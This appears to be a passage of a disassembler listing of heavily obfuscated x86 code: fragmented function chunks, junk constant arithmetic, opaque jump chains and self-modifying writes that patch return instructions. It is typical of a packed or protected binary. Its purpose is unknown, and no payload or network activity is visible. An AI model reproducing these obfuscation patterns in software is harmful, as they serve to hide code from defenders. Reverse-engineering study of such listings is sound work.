; START	OF FUNCTION CHUNK FOR sub_43B80C

loc_44ACD7:				; CODE XREF: sub_43B80C+5j
		or	edx, eax
		push	eax
		push	offset sub_458568
		jmp	nullsub_69
; END OF FUNCTION CHUNK	FOR sub_43B80C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F77C

loc_44ACE4:				; CODE XREF: sub_43F77C:loc_452E94j
		mov	ecx, ebx
		xchg	eax, [esp-4+arg_0]
		mov	ebx, eax
		pop	eax
		xor	eax, eax
		jmp	loc_458F1B
; END OF FUNCTION CHUNK	FOR sub_43F77C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_44ACF3:				; CODE XREF: sub_440898:loc_43CB28j
		jnz	loc_445B71
		jmp	loc_4532C8
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CF18

loc_44ACFE:				; CODE XREF: sub_44CF18+1Bj
		or	esi, 8AB82D69h
		sub	esi, 37FFA5CEh
		jnb	loc_454417
		ror	ebp, 0Eh
		jmp	loc_454411
; END OF FUNCTION CHUNK	FOR sub_44CF18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_44AD18:				; CODE XREF: sub_441DDA:loc_43EBCAj
					; sub_459C88+8j
		call	sub_446CFB
		lea	eax, [ebp-8]
		push	edi
		mov	edi, eax
		call	sub_453654

loc_44AD28:				; CODE XREF: dviuq5id:004568CDj
		jmp	sub_446CFB
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44097E

loc_44AD2D:				; CODE XREF: sub_44097E+Aj
		jmp	loc_44F647
; END OF FUNCTION CHUNK	FOR sub_44097E
; ---------------------------------------------------------------------------

loc_44AD32:				; CODE XREF: dviuq5id:0043C1A7j
		jmp	loc_455453
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_178. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44AD38:				; CODE XREF: dviuq5id:0045A5EEj
		jmp	loc_44E211
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_44AD3D:				; CODE XREF: sub_44646F-964Ej
		jmp	loc_450FDC
; END OF FUNCTION CHUNK	FOR sub_44646F

; =============== S U B	R O U T	I N E =======================================



sub_44AD42	proc near		; DATA XREF: sub_440B69+14168o

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A6AE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B416 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043B66F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043BC10 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CB42 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EA95 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004465E8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00447AF6 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00457784 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459AFD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00459C4B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0045A055 SIZE 00000008 BYTES

		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jnz	loc_447B01
		mov	eax, [ebp-4]
		cmp	word ptr [eax],	2ECDh
		jmp	loc_447AF6
sub_44AD42	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 9DD7AB44h
		call	sub_453642
		push	edi
		push	0DA751547h
		pop	edi

loc_44AD6F:				; CODE XREF: dviuq5id:loc_4578D9j
		and	edi, 39427288h

loc_44AD75:				; CODE XREF: dviuq5id:loc_45674Bj
		sub	edi, 9E847F7Bh
		add	edi, 86864067h
		jmp	loc_43CDA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_44AD86:				; CODE XREF: sub_440898:loc_43B9B5j
		mov	ecx, 3F5h
		xor	edx, edx
		div	ecx
		push	edi
		push	3C23AF46h
		xchg	ecx, [esp+0]
		mov	edi, ecx
		pop	ecx
		jmp	loc_447C9F
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------

loc_44ADA0:				; CODE XREF: dviuq5id:00444D62j
		xor	eax, esi
		popf
; START	OF FUNCTION CHUNK FOR sub_44E2D4

loc_44ADA3:				; CODE XREF: sub_44E2D4:loc_444D4Cj
		or	eax, 356C1B83h
		push	offset sub_45381C
		jmp	nullsub_319
; END OF FUNCTION CHUNK	FOR sub_44E2D4

; =============== S U B	R O U T	I N E =======================================



sub_44ADB3	proc near		; DATA XREF: sub_443222+71AAo

; FUNCTION CHUNK AT 00450587 SIZE 0000000B BYTES

		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 100h
		jnz	loc_43F739
		jmp	loc_450587
sub_44ADB3	endp

; ---------------------------------------------------------------------------

loc_44ADC8:				; CODE XREF: dviuq5id:loc_45520Dj
		push	0D5842100h
		pop	edi
		sub	edi, 0D73E2493h
		add	edi, 1FBD49Bh
		mov	[edi], eax
		pop	edi
		lea	eax, nullsub_12
		mov	byte ptr [eax],	0C3h
		jmp	loc_44614A
; ---------------------------------------------------------------------------

loc_44ADEB:				; CODE XREF: dviuq5id:004533B0j
		jz	loc_454546
		jmp	loc_444323
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B5B

loc_44ADF6:				; CODE XREF: sub_449B5B+9579j
		jnz	loc_443423
		jo	loc_452CA3
		sub	ebx, edi
		sbb	ebx, 0A69D1D19h
		jmp	loc_448417
; END OF FUNCTION CHUNK	FOR sub_449B5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4559CE

loc_44AE0F:				; CODE XREF: sub_4559CE:loc_43ECEFj
		add	edx, 0E1C589D7h
		mov	[edx], eax
		pop	edx
		lea	eax, nullsub_5
		mov	byte ptr [eax],	0C3h
		jmp	loc_44B24F
; END OF FUNCTION CHUNK	FOR sub_4559CE

; =============== S U B	R O U T	I N E =======================================



sub_44AE26	proc near		; CODE XREF: sub_43CBD5+DAFp
					; dviuq5id:0044E6EDj

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0043E484 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0044E246 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004520D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004537BE SIZE 0000000B BYTES

		xchg	edi, [esp-4+arg_0]
		pop	edi
		xchg	edi, [esp+0]
		push	edx
		mov	edx, esi
		call	sub_453D54

loc_44AE35:				; CODE XREF: dviuq5id:0044EA13j
		jmp	loc_44E246
sub_44AE26	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_44AE3A:				; CODE XREF: sub_4492F0-CB59j
		jz	loc_44D87E
		jmp	loc_459445
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450B01

loc_44AE45:				; CODE XREF: sub_450B01+19j
		mov	eax, [ebp-14h]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-20h]
		movzx	eax, byte ptr [eax]
		mov	[ebp-1Ch], eax
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		jmp	loc_43B33F
; END OF FUNCTION CHUNK	FOR sub_450B01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4543C5

loc_44AE5F:				; CODE XREF: sub_4543C5-F612j
		sub	ecx, edx
		sub	edx, ebx
		xchg	ecx, [edx]
		pop	ebx
		mov	edx, [ecx]
		jmp	loc_43A822
; END OF FUNCTION CHUNK	FOR sub_4543C5
; ---------------------------------------------------------------------------

loc_44AE6D:				; CODE XREF: dviuq5id:loc_446AF3j
		sub	ecx, 0B3A86816h
		and	ecx, 0B527F52Ah
		sub	ecx, 1DE8A172h
		jnz	loc_45164F
		jl	loc_456BAB
		sbb	ebx, ebp
		jmp	loc_458D51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4584CA

loc_44AE92:				; CODE XREF: sub_4584CA-1E20Dj
		or	eax, 4194985Bh
		sub	eax, 0FADD9F7Ch
		xor	eax, 0E7E97CCAh
		call	sub_453642
		jmp	loc_445CCE
; END OF FUNCTION CHUNK	FOR sub_4584CA
; ---------------------------------------------------------------------------
		jb	loc_44414C
		adc	ecx, edx
		jmp	sub_452E67
; ---------------------------------------------------------------------------
		jg	loc_445328
		adc	ebx, 56441E4Dh
		jmp	sub_43BD72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_44AECC:				; CODE XREF: sub_454267-F2EEj
		jns	loc_450E37
		adc	ecx, 528DF61Ch
		xchg	eax, ecx
		xor	ecx, ebx

loc_44AEDC:				; CODE XREF: dviuq5id:loc_443A8Cj
		jmp	loc_4510C1
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_44AEE1:				; CODE XREF: sub_43F4F8+1A783j
		sub	al, 99h
		mov	edx, [ebp-4]
		jmp	loc_455F46
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452209

loc_44AEEB:				; CODE XREF: sub_452209:loc_446AEEj
		sub	edi, 5D81FAFAh
		xor	edi, 0D2C496D2h
		add	edi, 436DD0F3h
		xchg	edi, [esp+0]
		jmp	loc_45125D
; END OF FUNCTION CHUNK	FOR sub_452209
; ---------------------------------------------------------------------------
		sub	eax, 0A048392Dh
		rol	eax, 16h
		push	edx
		jmp	loc_4512F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_44AF14:				; CODE XREF: sub_443F7F+CA45j
		jz	loc_457F97
; END OF FUNCTION CHUNK	FOR sub_443F7F
; START	OF FUNCTION CHUNK FOR sub_441C84

loc_44AF1A:				; CODE XREF: sub_441C84+6EF4j
		jmp	loc_44A219
; END OF FUNCTION CHUNK	FOR sub_441C84
; ---------------------------------------------------------------------------
		mov	[ebx], esi
		and	edi, 82DE8A48h
		adc	ecx, eax
		jmp	loc_454D06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44875D

loc_44AF2E:				; CODE XREF: sub_44875D+7j
		push	0FD0C0601h
		pop	esi
		rol	esi, 8
		and	esi, 3A26A2D5h
		xor	esi, 52548964h
		add	eax, esi
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_44BA76
; END OF FUNCTION CHUNK	FOR sub_44875D
; ---------------------------------------------------------------------------
		mov	[ebx], esi
		jmp	loc_4598A0
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 15h
; START	OF FUNCTION CHUNK FOR sub_446DD8

loc_44AF58:				; CODE XREF: sub_446DD8-B509j
		push	edi
		mov	edi, edx
		xchg	edi, [esp+4+var_4]
		jmp	loc_450BAD
; END OF FUNCTION CHUNK	FOR sub_446DD8
; ---------------------------------------------------------------------------

loc_44AF63:				; CODE XREF: dviuq5id:loc_450F71j
		jnz	loc_443A68
		xor	esi, ecx
; START	OF FUNCTION CHUNK FOR sub_443C86

loc_44AF6B:				; CODE XREF: sub_443C86:loc_44CA8Dj
		jmp	loc_443A60
; END OF FUNCTION CHUNK	FOR sub_443C86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D393

loc_44AF70:				; CODE XREF: sub_43D393:loc_44F61Fj
		add	eax, eax
; END OF FUNCTION CHUNK	FOR sub_43D393
; START	OF FUNCTION CHUNK FOR sub_450E2B

loc_44AF72:				; CODE XREF: sub_450E2B:loc_44F550j
		cdq
		push	offset loc_449DA4
		jmp	loc_4551B6
; END OF FUNCTION CHUNK	FOR sub_450E2B

; =============== S U B	R O U T	I N E =======================================



sub_44AF7D	proc near		; CODE XREF: sub_44F0DC+3j

; FUNCTION CHUNK AT 00449ECE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004506C8 SIZE 00000005 BYTES

		add	esp, 0FFFFFFECh
		cmp	ds:byte_4477B0,	0
		jnz	loc_4455C9
		lea	edx, [ebp-14h]
		mov	eax, offset loc_44DE54
		call	sub_45A04B
		lea	eax, [ebp-14h]
		push	eax
		jmp	loc_4506C8
sub_44AF7D	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_363. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45345A

loc_44AFA4:				; CODE XREF: sub_45345A:loc_451A26j
		pop	esi
		ror	eax, 2
		push	edx
		push	8BD117BBh
		pop	edx
		sub	edx, 8CD85575h
		test	edx, 400000h
		jmp	loc_4534C1
; END OF FUNCTION CHUNK	FOR sub_45345A
; ---------------------------------------------------------------------------
		cmp	ebp, edx
		jmp	loc_4424CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_44AFC7:				; CODE XREF: sub_439013+3F66j
		push	eax
		pushf

loc_44AFC9:				; CODE XREF: sub_439013:loc_43CF6Dj
		xor	edx, 7640EEE9h
		test	edx, 100000h
		jmp	loc_44B8C3
; END OF FUNCTION CHUNK	FOR sub_439013

; =============== S U B	R O U T	I N E =======================================



sub_44AFDA	proc near		; CODE XREF: dviuq5id:0044413Bj
					; dviuq5id:0044AA30p

; FUNCTION CHUNK AT 0044D8DA SIZE 0000001D BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	3CD96A8Ah
		pop	eax
		jmp	loc_44D8DA
sub_44AFDA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_44AFE9:				; CODE XREF: sub_452A73:loc_4491A0j
					; sub_4509F7:loc_44D4ECj
		push	esi
		push	0F3CA641Fh
		pop	esi
		and	esi, 846BCF30h
		cmp	esi, 2F04CC8Fh

loc_44AFFC:				; CODE XREF: sub_44646F+848Aj
		jmp	loc_44BC78
; END OF FUNCTION CHUNK	FOR sub_4509F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BDAE

loc_44B001:				; CODE XREF: sub_43BDAE:loc_44FA2Aj
		push	esi
		push	0D98C34F9h
		pop	esi
		xor	esi, 63C1D0C0h
		or	esi, 61F22404h
		xor	esi, 9E549729h
		add	esi, ecx
		jmp	loc_445785
; END OF FUNCTION CHUNK	FOR sub_43BDAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F2F5

loc_44B021:				; CODE XREF: sub_44F2F5-3920j
		jge	loc_43FB41
		popf
		jmp	loc_43FB3B
; END OF FUNCTION CHUNK	FOR sub_44F2F5
; ---------------------------------------------------------------------------

loc_44B02D:				; CODE XREF: dviuq5id:00448867j
		or	edi, ecx

; =============== S U B	R O U T	I N E =======================================



sub_44B02F	proc near		; CODE XREF: sub_44B02F:loc_43A46Bp

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043A46B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043B0B6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CF95 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440A71 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004496D6 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044A7F6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044B5D3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00458DC9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004594D6 SIZE 00000013 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		inc	dword ptr [ebp-18h]
		jmp	loc_440A71
sub_44B02F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_44E1C0
		mov	eax, 19A5E09Eh
		jmp	loc_4442D4
; ---------------------------------------------------------------------------

loc_44B04F:				; DATA XREF: dviuq5id:00441E13o
		mov	byte ptr [eax],	0C3h
		jmp	sub_457798
; ---------------------------------------------------------------------------

loc_44B057:				; CODE XREF: dviuq5id:loc_459CB2j
		mov	eax, [esp]
		call	sub_44439E
; START	OF FUNCTION CHUNK FOR sub_457EC2

loc_44B05F:				; CODE XREF: sub_457EC2+15j
		jmp	nullsub_307
; END OF FUNCTION CHUNK	FOR sub_457EC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D6B1

loc_44B064:				; CODE XREF: sub_43D6B1+10j
		jmp	nullsub_16
; END OF FUNCTION CHUNK	FOR sub_43D6B1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_389. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_44B06A:				; CODE XREF: sub_443ECE+140E3j
		jmp	loc_44CEA4
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_44B06F:				; CODE XREF: sub_439013+1B0C7j
		jmp	loc_457FDD
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4430B9

loc_44B074:				; CODE XREF: sub_4430B9+Dj
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_4430B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454142

loc_44B079:				; CODE XREF: sub_454142-13AB2j
		jmp	loc_448B97
; END OF FUNCTION CHUNK	FOR sub_454142
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450667

loc_44B07E:				; CODE XREF: sub_450667-13F79j
		jmp	sub_43E84C
; END OF FUNCTION CHUNK	FOR sub_450667
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443563

loc_44B083:				; CODE XREF: sub_443563+8j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_4395A7
; END OF FUNCTION CHUNK	FOR sub_443563
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4523AC

loc_44B091:				; CODE XREF: sub_4523AC:loc_4426CEj
		jz	loc_43AA20
; END OF FUNCTION CHUNK	FOR sub_4523AC
; START	OF FUNCTION CHUNK FOR sub_4505B4

loc_44B097:				; CODE XREF: dviuq5id:0044D328j
					; sub_4505B4+14j ...
		js	loc_44CA83
		or	eax, eax
		push	offset loc_44CA6D
		jmp	loc_44265D
; END OF FUNCTION CHUNK	FOR sub_4505B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_44B0A9:				; CODE XREF: sub_443F7F:loc_44CBD2j
		xchg	esi, [ecx]
		sbb	edi, ebp
		jmp	loc_44BDA7
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------

loc_44B0B2:				; CODE XREF: dviuq5id:004439B1j
		push	0CA58F4FBh
		shl	ebp, 13h
		jg	loc_459F28

loc_44B0C0:				; CODE XREF: dviuq5id:loc_4439A5j
		or	eax, ds:4000F5h
		and	eax, 71FD08F0h
		add	eax, 5C71FEEAh
		call	sub_453642
		jmp	loc_45115D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_44B0DC:				; CODE XREF: sub_43C2DA+10885j
		xchg	edi, [esp+4+var_4]
		push	61D11949h
		xchg	eax, [esp+8+var_8]
		mov	edx, eax
		pop	eax
		jmp	loc_4423F8
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459194

loc_44B0EF:				; CODE XREF: sub_459194-7334j
		pop	ebp
		mov	eax, ds:dword_44DF10
		or	eax, eax
		jnz	loc_456575
		jmp	loc_456CB4
; END OF FUNCTION CHUNK	FOR sub_459194
; ---------------------------------------------------------------------------
		push	edi
		push	49FAC66Ch
		pop	edi
		and	edi, 7384DBDEh
		sub	edi, 5F00B5EBh
		jmp	loc_449AEB
; ---------------------------------------------------------------------------
		jnb	loc_43D5D6
		mov	edx, ds:dword_445634
		or	edx, edx

loc_44B129:				; CODE XREF: dviuq5id:loc_43B988j
		jnz	loc_44179B
		jmp	loc_43C098
; ---------------------------------------------------------------------------

loc_44B134:				; CODE XREF: dviuq5id:00456C1Aj
		and	eax, 83F25C0Fh
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_44B13A:				; CODE XREF: sub_4560AC:loc_44FB81j
		or	esi, 0DE35A9E5h
		xor	esi, 0FEB7EEEDh
		xchg	esi, [esp+0]
		call	sub_4437A9

loc_44B14E:				; CODE XREF: sub_44CCEE+217Bj
		jmp	loc_448812
; END OF FUNCTION CHUNK	FOR sub_4560AC
; ---------------------------------------------------------------------------

loc_44B153:				; CODE XREF: dviuq5id:0044C41Fj
		jmp	loc_44BCD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422EC

loc_44B158:				; CODE XREF: sub_4422EC+1780Cj
		mov	ecx, eax
		pop	eax
		push	4738B6E7h
		pop	eax
		rol	eax, 0Eh
		add	eax, 0BCDE8A3Ah
		cmp	eax, 0C0180CB1h
		jmp	loc_449F37
; END OF FUNCTION CHUNK	FOR sub_4422EC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_341. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44B176:				; CODE XREF: dviuq5id:00457B1Aj
		jmp	loc_4545D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_44B17B:				; CODE XREF: sub_454267+99j
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------

loc_44B180:				; CODE XREF: dviuq5id:00452F18j
		jmp	sub_44E3BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E859

loc_44B185:				; CODE XREF: sub_43E859+7j
		jmp	sub_43B660
; END OF FUNCTION CHUNK	FOR sub_43E859
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E89E

loc_44B18A:				; CODE XREF: sub_44E89E+12j
		rol	eax, 0Bh
		add	eax, 5FBE68B0h
		add	eax, ebp
		add	eax, 73B1144h
		jmp	loc_459DBD
; END OF FUNCTION CHUNK	FOR sub_44E89E
; ---------------------------------------------------------------------------

loc_44B1A0:				; CODE XREF: dviuq5id:loc_44E75Ej
		xchg	esi, [esp]
		call	sub_43E84C
		push	9C895583h
		pop	eax
		add	eax, 0DEDC7355h
		or	eax, 0D35FC5EAh
		add	eax, 5F316580h
		call	sub_453642
		jmp	loc_456FBB
; ---------------------------------------------------------------------------

loc_44B1CA:				; DATA XREF: dviuq5id:00453575o
		mov	eax, [esp]
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
; START	OF FUNCTION CHUNK FOR sub_44D022

loc_44B1D3:				; CODE XREF: sub_44D022:loc_453A1Ej
		push	50938A73h
		xchg	edi, [esp+4+var_4]
		mov	eax, edi
		pop	edi
		jmp	loc_44DAAB
; END OF FUNCTION CHUNK	FOR sub_44D022

; =============== S U B	R O U T	I N E =======================================



sub_44B1E3	proc near		; DATA XREF: dviuq5id:0044D656o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043EFE8 SIZE 00000005 BYTES

		push	edx
		mov	edx, ebx
		xchg	edx, [esp+4+var_4]
		push	9AB37435h
		pop	ebx
		xor	ebx, 5A332255h
		add	ebx, 3FC45DD4h
		xchg	ebx, [esp+4+var_4]
		jmp	loc_43EFE8
sub_44B1E3	endp

; ---------------------------------------------------------------------------

loc_44B203:				; DATA XREF: sub_4433AF+15AA1o
		mov	eax, [esp]
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		push	33392D79h
		pop	eax
		xor	eax, 2326E4DAh
		jmp	loc_440CFD
; ---------------------------------------------------------------------------

loc_44B21D:				; CODE XREF: dviuq5id:0043FA54j
		pop	ebp
		call	sub_44D717

; =============== S U B	R O U T	I N E =======================================



sub_44B223	proc near		; CODE XREF: dviuq5id:00439620p
					; dviuq5id:00455F84j
		xchg	esi, [esp+0]
		pop	esi
		sub	ecx, eax
		xor	eax, eax
		jmp	loc_4427C0
sub_44B223	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44B230:				; CODE XREF: dviuq5id:00452929j
		mov	edx, 86D6EDDDh
; START	OF FUNCTION CHUNK FOR sub_43B2BA

loc_44B235:				; CODE XREF: sub_43B2BA:loc_45291Dj
		or	ebx, 74161A60h
		add	ebx, 1447F3Bh
		xchg	ebx, [esp+4+var_4]
		jmp	loc_44983B
; END OF FUNCTION CHUNK	FOR sub_43B2BA
; ---------------------------------------------------------------------------

loc_44B249:				; CODE XREF: dviuq5id:loc_4550E8j
		jz	loc_442FA6
; START	OF FUNCTION CHUNK FOR sub_4559CE

loc_44B24F:				; CODE XREF: sub_4559CE-ABADj
		jmp	nullsub_5
; END OF FUNCTION CHUNK	FOR sub_4559CE
; ---------------------------------------------------------------------------
		xor	ecx, 90E45284h
		jmp	loc_442FA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455518

loc_44B25F:				; CODE XREF: sub_455518:loc_45564Ej
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		push	ecx
		jmp	loc_44AC04
; END OF FUNCTION CHUNK	FOR sub_455518
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443C86

loc_44B26A:				; CODE XREF: sub_443C86:loc_439E76j
		adc	ebx, edx
		jmp	loc_44CA8A
; END OF FUNCTION CHUNK	FOR sub_443C86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4538B3

loc_44B271:				; CODE XREF: sub_4538B3:loc_457669j
		mov	ecx, eax
		xchg	ecx, [esp+8+var_8]
		retn
; END OF FUNCTION CHUNK	FOR sub_4538B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4434EB

loc_44B277:				; CODE XREF: sub_4434EB+Fj
		jmp	nullsub_454
; END OF FUNCTION CHUNK	FOR sub_4434EB

; =============== S U B	R O U T	I N E =======================================



sub_44B27C	proc near		; CODE XREF: sub_43B1C4+C992j
					; sub_451180:loc_44C39Ap
		push	ecx
		jmp	loc_4419CF
sub_44B27C	endp

; ---------------------------------------------------------------------------
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_457C0B
		jmp	loc_43C937
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DDAC

loc_44B294:				; CODE XREF: sub_43DDAC+F7DAj
		jz	loc_441F62

loc_44B29A:				; CODE XREF: sub_45383B-11AC4j
		jmp	nullsub_394
; END OF FUNCTION CHUNK	FOR sub_43DDAC
; ---------------------------------------------------------------------------
		xor	ecx, esi
		jmp	loc_441F4E
; ---------------------------------------------------------------------------

loc_44B2A6:				; DATA XREF: sub_44F5D6-1347Eo
		xchg	eax, [esp]
		jmp	sub_44F9EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_44B2AE:				; CODE XREF: sub_454267:loc_44564Cj
		pop	edi
		xor	edi, 0D36D48CEh
		add	edi, 63E139C4h
		popf
		xchg	edi, [esp-4+arg_0]
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
		test	esi, edx
		jmp	loc_447E1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_44B2CB:				; CODE XREF: sub_44B99E:loc_458FD4j
		and	eax, ds:4000F7h
		add	eax, 0ECB19AC6h
		xchg	eax, [esp+4+var_4]
		jmp	loc_4436C1
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_44B2DF:				; CODE XREF: sub_44297E+16903j
		cmp	edi, 0CD14AEF4h
		jmp	loc_440416
; END OF FUNCTION CHUNK	FOR sub_44297E

; =============== S U B	R O U T	I N E =======================================



sub_44B2EA	proc near		; CODE XREF: sub_44A94D-87E9j
					; sub_44B99E+8514p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043A269 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043A278 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043ADDE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043B021 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043B32A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043BFA2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043C2A8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043C45D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043C661 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043C6A0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043D07A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043D485 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043DBF4 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043EBCF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F947 SIZE 0000000B BYTES
